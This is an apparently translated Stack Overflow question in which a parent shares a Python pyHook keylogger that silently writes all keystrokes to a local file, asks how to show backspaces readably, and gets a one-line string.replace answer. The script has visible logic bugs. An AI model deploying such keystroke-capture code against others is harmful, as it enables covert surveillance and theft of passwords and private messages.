替换python中的退格ascii

时间:2013-05-27 16:22:00

标签: python winapi ascii pyhook

我正在使用pyHook来捕获关键事件以监控我的儿子网络活动,我注意到当我使用退格键时,它会将文件写为ascii,在记事本中显示为一个小黑框。

有没有办法可以用[BACKSPACE]替换这个黑盒子,或者只是对文件中的字符进行退格,以便更容易阅读?

到目前为止,这是我的代码!

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
    f = open('c:\\output.txt','a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open('c:\\output.txt','w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        sys.exit()
    elif event.Ascii != 0 or 8:
        keylogs = chr(event.Ascii)
    elif event.Ascii == 13:
        keylogs = keylogs + '\n'
    else:
        pass
    f = open('c:\\output.txt','a')
    f.write(keylogs)
    f.close()

while True:
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:0)

普通string.replace怎么样?

string.replace(your_string, '\b', ' ')

用空格替换your_string中的所有退格。